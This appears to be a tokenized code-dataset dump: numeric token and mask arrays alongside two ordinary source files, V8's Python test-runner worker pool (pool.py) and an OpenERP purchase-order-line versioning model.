32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
weolar/miniblink49
v8_7_5/tools/testrunner/local/pool.py
3
9357
#!/usr/bin/env python # Copyright 2014 the V8 project authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. # for py2/py3 compatibility from __future__ import print_function from contextlib import contextmanager from multiprocessing import Process, Queue import os import signal import time import traceback try: from queue import Empty # Python 3 except ImportError: from Queue import Empty # Python 2 from . import command def setup_testing(): """For testing only: Use threading under the hood instead of multiprocessing to make coverage work. """ global Queue global Process del Queue del Process try: from queue import Queue # Python 3 except ImportError: from Queue import Queue # Python 2 from threading import Thread as Process # Monkeypatch threading Queue to look like multiprocessing Queue. Queue.cancel_join_thread = lambda self: None # Monkeypatch os.kill and add fake pid property on Thread. os.kill = lambda *args: None Process.pid = property(lambda self: None) class NormalResult(): def __init__(self, result): self.result = result self.exception = None class ExceptionResult(): def __init__(self, exception): self.exception = exception class MaybeResult(): def __init__(self, heartbeat, value): self.heartbeat = heartbeat self.value = value @staticmethod def create_heartbeat(): return MaybeResult(True, None) @staticmethod def create_result(value): return MaybeResult(False, value) def Worker(fn, work_queue, done_queue, process_context_fn=None, process_context_args=None): """Worker to be run in a child process. The worker stops when the poison pill "STOP" is reached. """ try: kwargs = {} if process_context_fn and process_context_args is not None: kwargs.update(process_context=process_context_fn(*process_context_args)) for args in iter(work_queue.get, "STOP"): try: done_queue.put(NormalResult(fn(*args, **kwargs))) except command.AbortException: # SIGINT, SIGTERM or internal hard timeout. break except Exception as e: traceback.print_exc() print(">>> EXCEPTION: %s" % e) done_queue.put(ExceptionResult(e)) # When we reach here on normal tear down, all items have been pulled from # the done_queue before and this should have no effect. On fast abort, it's # possible that a fast worker left items on the done_queue in memory, which # will never be pulled. This call purges those to avoid a deadlock. done_queue.cancel_join_thread() except KeyboardInterrupt: assert False, 'Unreachable' @contextmanager def without_sig(): int_handler = signal.signal(signal.SIGINT, signal.SIG_IGN) term_handler = signal.signal(signal.SIGTERM, signal.SIG_IGN) try: yield finally: signal.signal(signal.SIGINT, int_handler) signal.signal(signal.SIGTERM, term_handler) class Pool(): """Distributes tasks to a number of worker processes. New tasks can be added dynamically even after the workers have been started. Requirement: Tasks can only be added from the parent process, e.g. while consuming the results generator.""" # Factor to calculate the maximum number of items in the work/done queue. # Necessary to not overflow the queue's pipe if a keyboard interrupt happens. BUFFER_FACTOR = 4 def __init__(self, num_workers, heartbeat_timeout=1): self.num_workers = num_workers self.processes = [] self.terminated = False self.abort_now = False # Invariant: processing_count >= #work_queue + #done_queue. It is greater # when a worker takes an item from the work_queue and before the result is # submitted to the done_queue. It is equal when no worker is working, # e.g. when all workers have finished, and when no results are processed. # Count is only accessed by the parent process. Only the parent process is # allowed to remove items from the done_queue and to add items to the # work_queue. self.processing_count = 0 self.heartbeat_timeout = heartbeat_timeout # Disable sigint and sigterm to prevent subprocesses from capturing the # signals. with without_sig(): self.work_queue = Queue() self.done_queue = Queue() def imap_unordered(self, fn, gen, process_context_fn=None, process_context_args=None): """Maps function "fn" to items in generator "gen" on the worker processes in an arbitrary order. The items are expected to be lists of arguments to the function. Returns a results iterator. A result value of type MaybeResult either indicates a heartbeat of the runner, i.e. indicating that the runner is still waiting for the result to be computed, or it wraps the real result. Args: process_context_fn: Function executed once by each worker. Expected to return a process-context object. If present, this object is passed as additional argument to each call to fn. process_context_args: List of arguments for the invocation of process_context_fn. All arguments will be pickled and sent beyond the process boundary. """ if self.terminated: return try: internal_error = False gen = iter(gen) self.advance = self._advance_more # Disable sigint and sigterm to prevent subprocesses from capturing the # signals. with without_sig(): for w in range(self.num_workers): p = Process(target=Worker, args=(fn, self.work_queue, self.done_queue, process_context_fn, process_context_args)) p.start() self.processes.append(p) self.advance(gen) while self.processing_count > 0: while True: try: # Read from result queue in a responsive fashion. If available, # this will return a normal result immediately or a heartbeat on # heartbeat timeout (default 1 second). result = self._get_result_from_queue() except: # TODO(machenbach): Handle a few known types of internal errors # gracefully, e.g. missing test files. internal_error = True continue if self.abort_now: # SIGINT, SIGTERM or internal hard timeout. return yield result break self.advance(gen) except KeyboardInterrupt: assert False, 'Unreachable' except Exception as e: traceback.print_exc() print(">>> EXCEPTION: %s" % e) finally: self._terminate() if internal_error: raise Exception("Internal error in a worker process.") def _advance_more(self, gen): while self.processing_count < self.num_workers * self.BUFFER_FACTOR: try: self.work_queue.put(next(gen)) self.processing_count += 1 except StopIteration: self.advance = self._advance_empty break def _advance_empty(self, gen): pass def add(self, args): """Adds an item to the work queue. Can be called dynamically while processing the results from imap_unordered.""" assert not self.terminated self.work_queue.put(args) self.processing_count += 1 def abort(self): """Schedules abort on next queue read. This is safe to call when handling SIGINT, SIGTERM or when an internal hard timeout is reached. """ self.abort_now = True def _terminate(self): """Terminates execution and cleans up the queues. If abort() was called before termination, this also terminates the subprocesses and doesn't wait for ongoing tests. """ if self.terminated: return self.terminated = True # Drain out work queue from tests try: while True: self.work_queue.get(True, 0.1) except Empty: pass # Make sure all processes stop for _ in self.processes: # During normal tear down the workers block on get(). Feed a poison pill # per worker to make them stop. self.work_queue.put("STOP") if self.abort_now: for p in self.processes: os.kill(p.pid, signal.SIGTERM) for p in self.processes: p.join() # Drain the queues to prevent stderr chatter when queues are garbage # collected. try: while True: self.work_queue.get(False) except: pass try: while True: self.done_queue.get(False) except: pass def _get_result_from_queue(self): """Attempts to get the next result from the queue. Returns: A wrapped result if one was available within heartbeat timeout, a heartbeat result otherwise. Raises: Exception: If an exception occured when processing the task on the worker side, it is reraised here. """ while True: try: result = self.done_queue.get(timeout=self.heartbeat_timeout) self.processing_count -= 1 if result.exception: raise result.exception return MaybeResult.create_result(result.result) except Empty: return MaybeResult.create_heartbeat()
apache-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1898, 6927, 314, 812, 24, 2199, 11462, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 3, 367, 1134, 18, 15, 647, 19, 7163, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 504, 15502, 492, 27608, 199, 504, 12866, 492, 7132, 12, 10703, 199, 646, 747, 199, 646, 4673, 199, 646, 900, 199, 646, 5190, 199, 199, 893, 26, 523, 687, 4126, 492, 9630, 221, 327, 2018, 650, 199, 2590, 3545, 26, 523, 687, 10703, 492, 9630, 221, 327, 2018, 499, 199, 199, 504, 1275, 492, 1414, 421, 199, 318, 3272, 63, 4776, 837, 523, 408, 1858, 5343, 1454, 26, 3645, 5796, 1334, 314, 2636, 364, 3140, 402, 12866, 523, 370, 1852, 11745, 1736, 14, 523, 408, 523, 2288, 10703, 523, 2288, 7132, 523, 2150, 10703, 523, 2150, 7132, 523, 862, 26, 272, 687, 4126, 492, 10703, 221, 327, 2018, 650, 523, 871, 3545, 26, 272, 687, 10703, 492, 10703, 221, 327, 2018, 499, 819, 687, 5796, 492, 11086, 465, 7132, 523, 327, 10953, 498, 2068, 5796, 10703, 370, 3648, 2839, 12866, 10703, 14, 523, 10703, 14, 6406, 63, 904, 63, 2671, 275, 2400, 291, 26, 488, 523, 327, 10953, 498, 2068, 747, 14, 8997, 436, 1050, 4026, 4422, 3324, 641, 11086, 14, 523, 747, 14, 8997, 275, 2400, 627, 589, 26, 488, 523, 7132, 14, 3150, 275, 3324, 8, 2734, 291, 26, 488, 9, 421, 199, 533, 11514, 2889, 837, 523, 347, 636, 826, 721, 277, 12, 754, 304, 272, 291, 14, 1099, 275, 754, 272, 291, 14, 1971, 275, 488, 199, 199, 533, 2186, 2889, 837, 523, 347, 636, 826, 721, 277, 12, 1919, 304, 272, 291, 14, 1971, 275, 1919, 421, 199, 533, 23038, 2889, 837, 523, 347, 636, 826, 721, 277, 12, 32015, 12, 574, 304, 272, 291, 14, 22685, 275, 32015, 272, 291, 14, 585, 275, 574, 819, 768, 4639, 523, 347, 1218, 63, 22685, 837, 272, 372, 23038, 2889, 8, 549, 12, 488, 9, 819, 768, 4639, 523, 347, 1218, 63, 1099, 8, 585, 304, 272, 372, 23038, 2889, 8, 797, 12, 574, 9, 421, 199, 318, 23886, 8, 2324, 12, 1736, 63, 1825, 12, 4224, 63, 1825, 12, 1779, 2112, 63, 1100, 63, 2324, 29, 403, 12, 2112, 63, 1100, 63, 589, 29, 403, 304, 523, 408, 12678, 370, 506, 1255, 315, 282, 1982, 2112, 14, 523, 710, 7239, 20922, 1380, 314, 1115, 28287, 299, 778, 298, 11632, 2, 365, 13075, 14, 523, 408, 523, 862, 26, 272, 2074, 275, 1052, 272, 340, 2112, 63, 1100, 63, 2324, 436, 2112, 63, 1100, 63, 589, 365, 440, 488, 26, 489, 2074, 14, 873, 8, 1412, 63, 1100, 29, 1412, 63, 1100, 63, 2324, 2031, 1412, 63, 1100, 63, 589, 430, 272, 367, 1249, 315, 2740, 8, 800, 63, 1825, 14, 362, 12, 298, 11632, 2349, 489, 862, 26, 267, 4224, 63, 1825, 14, 524, 8, 6241, 2889, 8, 2324, 2031, 589, 12, 1011, 958, 1724, 489, 871, 1414, 14, 16682, 1726, 26, 267, 327, 15522, 2919, 12, 15522, 16718, 503, 5007, 7508, 2653, 14, 267, 2059, 489, 871, 2186, 465, 325, 26, 267, 5190, 14, 1361, 63, 2804, 342, 267, 870, 480, 6071, 3651, 7177, 1075, 26, 450, 83, 2, 450, 325, 9, 267, 4224, 63, 1825, 14, 524, 8, 1726, 2889, 8, 69, 430, 272, 327, 3979, 781, 12276, 2348, 641, 3293, 1565, 285, 3224, 12, 1006, 2974, 1172, 2757, 25239, 1146, 687, 272, 327, 314, 4224, 63, 1825, 2544, 436, 642, 1077, 1172, 949, 7763, 14, 4068, 7377, 12004, 12, 652, 1159, 272, 327, 3962, 626, 282, 7377, 7239, 3602, 2974, 641, 314, 4224, 63, 1825, 315, 4402, 12, 1314, 272, 327, 911, 7078, 506, 25239, 1146, 14, 961, 1240, 5861, 3389, 5204, 370, 5126, 282, 12314, 831, 14, 272, 4224, 63, 1825, 14, 6406, 63, 904, 63, 2671, 342, 523, 871, 13483, 26, 272, 702, 756, 12, 283, 1358, 15837, 7, 421, 199, 32, 14237, 199, 318, 1928, 63, 4093, 837, 523, 1109, 63, 2232, 275, 4673, 14, 4653, 8, 4653, 14, 21223, 12, 4673, 14, 7864, 63, 3203, 9, 523, 6707, 63, 2232, 275, 4673, 14, 4653, 8, 4653, 14, 29190, 12, 4673, 14, 7864, 63, 3203, 9, 523, 862, 26, 272, 1995, 523, 3753, 26, 272, 4673, 14, 4653, 8, 4653, 14, 21223, 12, 1109, 63, 2232, 9, 272, 4673, 14, 4653, 8, 4653, 14, 29190, 12, 6707, 63, 2232, 9, 421, 199, 533, 15553, 837, 523, 408, 36, 5414, 744, 6527, 370, 282, 1329, 402, 7239, 10358, 14, 523, 7053, 6527, 883, 506, 3483, 18774, 2755, 2410, 314, 14123, 1172, 2757, 8239, 14, 523, 25013, 26, 8495, 83, 883, 1454, 506, 3483, 687, 314, 1676, 2112, 12, 325, 14, 71, 14, 1830, 523, 406, 26745, 314, 2058, 4306, 1041, 819, 327, 27348, 370, 8671, 314, 5696, 1329, 402, 2974, 315, 314, 1736, 15, 4456, 4126, 14, 523, 327, 5612, 5205, 370, 440, 15784, 314, 4126, 1159, 5200, 340, 282, 18716, 26791, 10986, 14, 523, 699, 8158, 540, 63, 26393, 275, 841, 819, 347, 636, 826, 721, 277, 12, 1967, 63, 11009, 12, 32015, 63, 2593, 29, 17, 304, 272, 291, 14, 1507, 63, 11009, 275, 1967, 63, 11009, 272, 291, 14, 11816, 275, 942, 272, 291, 14, 18375, 275, 756, 272, 291, 14, 13845, 63, 2131, 275, 756, 339, 327, 1010, 8759, 26, 6661, 63, 835, 2356, 327, 800, 63, 1825, 435, 327, 4456, 63, 1825, 14, 2779, 365, 8932, 272, 327, 1380, 282, 7239, 6181, 376, 1242, 687, 314, 1736, 63, 1825, 436, 2544, 314, 754, 365, 272, 327, 16930, 370, 314, 4224, 63, 1825, 14, 2779, 365, 4472, 1380, 949, 7239, 365, 6449, 12, 272, 327, 325, 14, 71, 14, 1380, 1006, 14123, 1172, 9158, 12, 436, 1380, 949, 2058, 787, 7686, 14, 272, 327, 14826, 365, 1454, 13810, 701, 314, 1676, 2112, 14, 5972, 314, 1676, 2112, 365, 272, 327, 4370, 370, 2813, 2974, 687, 314, 4224, 63, 1825, 436, 370, 1050, 2974, 370, 314, 272, 327, 1736, 63, 1825, 14, 272, 291 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1898, 6927, 314, 812, 24, 2199, 11462, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 3, 367, 1134, 18, 15, 647, 19, 7163, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 504, 15502, 492, 27608, 199, 504, 12866, 492, 7132, 12, 10703, 199, 646, 747, 199, 646, 4673, 199, 646, 900, 199, 646, 5190, 199, 199, 893, 26, 523, 687, 4126, 492, 9630, 221, 327, 2018, 650, 199, 2590, 3545, 26, 523, 687, 10703, 492, 9630, 221, 327, 2018, 499, 199, 199, 504, 1275, 492, 1414, 421, 199, 318, 3272, 63, 4776, 837, 523, 408, 1858, 5343, 1454, 26, 3645, 5796, 1334, 314, 2636, 364, 3140, 402, 12866, 523, 370, 1852, 11745, 1736, 14, 523, 408, 523, 2288, 10703, 523, 2288, 7132, 523, 2150, 10703, 523, 2150, 7132, 523, 862, 26, 272, 687, 4126, 492, 10703, 221, 327, 2018, 650, 523, 871, 3545, 26, 272, 687, 10703, 492, 10703, 221, 327, 2018, 499, 819, 687, 5796, 492, 11086, 465, 7132, 523, 327, 10953, 498, 2068, 5796, 10703, 370, 3648, 2839, 12866, 10703, 14, 523, 10703, 14, 6406, 63, 904, 63, 2671, 275, 2400, 291, 26, 488, 523, 327, 10953, 498, 2068, 747, 14, 8997, 436, 1050, 4026, 4422, 3324, 641, 11086, 14, 523, 747, 14, 8997, 275, 2400, 627, 589, 26, 488, 523, 7132, 14, 3150, 275, 3324, 8, 2734, 291, 26, 488, 9, 421, 199, 533, 11514, 2889, 837, 523, 347, 636, 826, 721, 277, 12, 754, 304, 272, 291, 14, 1099, 275, 754, 272, 291, 14, 1971, 275, 488, 199, 199, 533, 2186, 2889, 837, 523, 347, 636, 826, 721, 277, 12, 1919, 304, 272, 291, 14, 1971, 275, 1919, 421, 199, 533, 23038, 2889, 837, 523, 347, 636, 826, 721, 277, 12, 32015, 12, 574, 304, 272, 291, 14, 22685, 275, 32015, 272, 291, 14, 585, 275, 574, 819, 768, 4639, 523, 347, 1218, 63, 22685, 837, 272, 372, 23038, 2889, 8, 549, 12, 488, 9, 819, 768, 4639, 523, 347, 1218, 63, 1099, 8, 585, 304, 272, 372, 23038, 2889, 8, 797, 12, 574, 9, 421, 199, 318, 23886, 8, 2324, 12, 1736, 63, 1825, 12, 4224, 63, 1825, 12, 1779, 2112, 63, 1100, 63, 2324, 29, 403, 12, 2112, 63, 1100, 63, 589, 29, 403, 304, 523, 408, 12678, 370, 506, 1255, 315, 282, 1982, 2112, 14, 523, 710, 7239, 20922, 1380, 314, 1115, 28287, 299, 778, 298, 11632, 2, 365, 13075, 14, 523, 408, 523, 862, 26, 272, 2074, 275, 1052, 272, 340, 2112, 63, 1100, 63, 2324, 436, 2112, 63, 1100, 63, 589, 365, 440, 488, 26, 489, 2074, 14, 873, 8, 1412, 63, 1100, 29, 1412, 63, 1100, 63, 2324, 2031, 1412, 63, 1100, 63, 589, 430, 272, 367, 1249, 315, 2740, 8, 800, 63, 1825, 14, 362, 12, 298, 11632, 2349, 489, 862, 26, 267, 4224, 63, 1825, 14, 524, 8, 6241, 2889, 8, 2324, 2031, 589, 12, 1011, 958, 1724, 489, 871, 1414, 14, 16682, 1726, 26, 267, 327, 15522, 2919, 12, 15522, 16718, 503, 5007, 7508, 2653, 14, 267, 2059, 489, 871, 2186, 465, 325, 26, 267, 5190, 14, 1361, 63, 2804, 342, 267, 870, 480, 6071, 3651, 7177, 1075, 26, 450, 83, 2, 450, 325, 9, 267, 4224, 63, 1825, 14, 524, 8, 1726, 2889, 8, 69, 430, 272, 327, 3979, 781, 12276, 2348, 641, 3293, 1565, 285, 3224, 12, 1006, 2974, 1172, 2757, 25239, 1146, 687, 272, 327, 314, 4224, 63, 1825, 2544, 436, 642, 1077, 1172, 949, 7763, 14, 4068, 7377, 12004, 12, 652, 1159, 272, 327, 3962, 626, 282, 7377, 7239, 3602, 2974, 641, 314, 4224, 63, 1825, 315, 4402, 12, 1314, 272, 327, 911, 7078, 506, 25239, 1146, 14, 961, 1240, 5861, 3389, 5204, 370, 5126, 282, 12314, 831, 14, 272, 4224, 63, 1825, 14, 6406, 63, 904, 63, 2671, 342, 523, 871, 13483, 26, 272, 702, 756, 12, 283, 1358, 15837, 7, 421, 199, 32, 14237, 199, 318, 1928, 63, 4093, 837, 523, 1109, 63, 2232, 275, 4673, 14, 4653, 8, 4653, 14, 21223, 12, 4673, 14, 7864, 63, 3203, 9, 523, 6707, 63, 2232, 275, 4673, 14, 4653, 8, 4653, 14, 29190, 12, 4673, 14, 7864, 63, 3203, 9, 523, 862, 26, 272, 1995, 523, 3753, 26, 272, 4673, 14, 4653, 8, 4653, 14, 21223, 12, 1109, 63, 2232, 9, 272, 4673, 14, 4653, 8, 4653, 14, 29190, 12, 6707, 63, 2232, 9, 421, 199, 533, 15553, 837, 523, 408, 36, 5414, 744, 6527, 370, 282, 1329, 402, 7239, 10358, 14, 523, 7053, 6527, 883, 506, 3483, 18774, 2755, 2410, 314, 14123, 1172, 2757, 8239, 14, 523, 25013, 26, 8495, 83, 883, 1454, 506, 3483, 687, 314, 1676, 2112, 12, 325, 14, 71, 14, 1830, 523, 406, 26745, 314, 2058, 4306, 1041, 819, 327, 27348, 370, 8671, 314, 5696, 1329, 402, 2974, 315, 314, 1736, 15, 4456, 4126, 14, 523, 327, 5612, 5205, 370, 440, 15784, 314, 4126, 1159, 5200, 340, 282, 18716, 26791, 10986, 14, 523, 699, 8158, 540, 63, 26393, 275, 841, 819, 347, 636, 826, 721, 277, 12, 1967, 63, 11009, 12, 32015, 63, 2593, 29, 17, 304, 272, 291, 14, 1507, 63, 11009, 275, 1967, 63, 11009, 272, 291, 14, 11816, 275, 942, 272, 291, 14, 18375, 275, 756, 272, 291, 14, 13845, 63, 2131, 275, 756, 339, 327, 1010, 8759, 26, 6661, 63, 835, 2356, 327, 800, 63, 1825, 435, 327, 4456, 63, 1825, 14, 2779, 365, 8932, 272, 327, 1380, 282, 7239, 6181, 376, 1242, 687, 314, 1736, 63, 1825, 436, 2544, 314, 754, 365, 272, 327, 16930, 370, 314, 4224, 63, 1825, 14, 2779, 365, 4472, 1380, 949, 7239, 365, 6449, 12, 272, 327, 325, 14, 71, 14, 1380, 1006, 14123, 1172, 9158, 12, 436, 1380, 949, 2058, 787, 7686, 14, 272, 327, 14826, 365, 1454, 13810, 701, 314, 1676, 2112, 14, 5972, 314, 1676, 2112, 365, 272, 327, 4370, 370, 2813, 2974, 687, 314, 4224, 63, 1825, 436, 370, 1050, 2974, 370, 314, 272, 327, 1736, 63, 1825, 14, 272, 291, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
iw3hxn/LibrERP
purchase_order_version/models/inherit_purchase_order_line.py
1
2019
# -*- coding: utf-8 -*- ############################################################################## # # Copyright (C) 2004-2014 Didotech srl (<http://www.didotech.com>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## from openerp.osv import orm, fields class purchase_order_line(orm.Model): _inherit = "purchase.order.line" _columns = { # 'active': fields.related('order_id', 'active', type='boolean', string='Active', store=False), 'purchase_line_copy_id': fields.many2one('purchase.order.line', 'Orig version', required=False, readonly=False), } def copy_data(self, cr, uid, line_id, defaults=None, context=None): context = context or self.pool['res.users'].context_get(cr, uid) defaults = defaults or {} if context.get('versioning', False): defaults['purchase_line_copy_id'] = line_id return super(purchase_order_line, self).copy_data(cr, uid, line_id, defaults, context) def copy(self, cr, uid, line_id, default, context=None): context = context or self.pool['res.users'].context_get(cr, uid) default = default or {} if context.get('versioning', False): default['purchase_line_copy_id'] = line_id return super(purchase_order_line, self).copy(cr, uid, line_id, default, context)
agpl-3.0
